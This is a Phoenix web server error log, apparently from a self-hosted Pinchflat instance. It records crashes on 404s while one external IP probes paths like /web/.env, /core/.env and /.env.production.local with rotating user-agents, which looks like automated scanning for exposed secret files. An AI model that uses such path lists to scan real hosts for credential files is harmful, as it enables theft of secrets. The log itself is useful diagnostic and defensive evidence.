"x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9950.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/web/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvBPAv7QqN8AAewC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45210}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45210}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, (truncated) 15:23:47.483 [error] #PID<0.9949.0> running PinchflatWeb.Endpoint (connection #PID<0.9947.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /server/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9947.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45190}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9949.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/server/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvBPBqCVEgMAA5IB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9947.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45190}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9947.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45190}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.8 (truncated) 15:23:47.484 [error] #PID<0.9956.0> running PinchflatWeb.Endpoint (connection #PID<0.9954.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /services/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /services/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45236}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9956.0>, params: %{}, path_info: ["services", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/services/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvBfbM6xWtAAA5JB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45236}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /services/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45236}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: (truncated) 15:23:47.484 [error] #PID<0.9955.0> running PinchflatWeb.Endpoint (connection #PID<0.9953.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9953.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45228}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9955.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvBee9iNLjIAAexC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9953.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45228}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9953.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45228}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9955.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], (truncated) 15:23:47.485 [error] #PID<0.9958.0> running PinchflatWeb.Endpoint (connection #PID<0.9957.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9957.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45252}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9958.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvBvuPVG_A4AAI9D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, 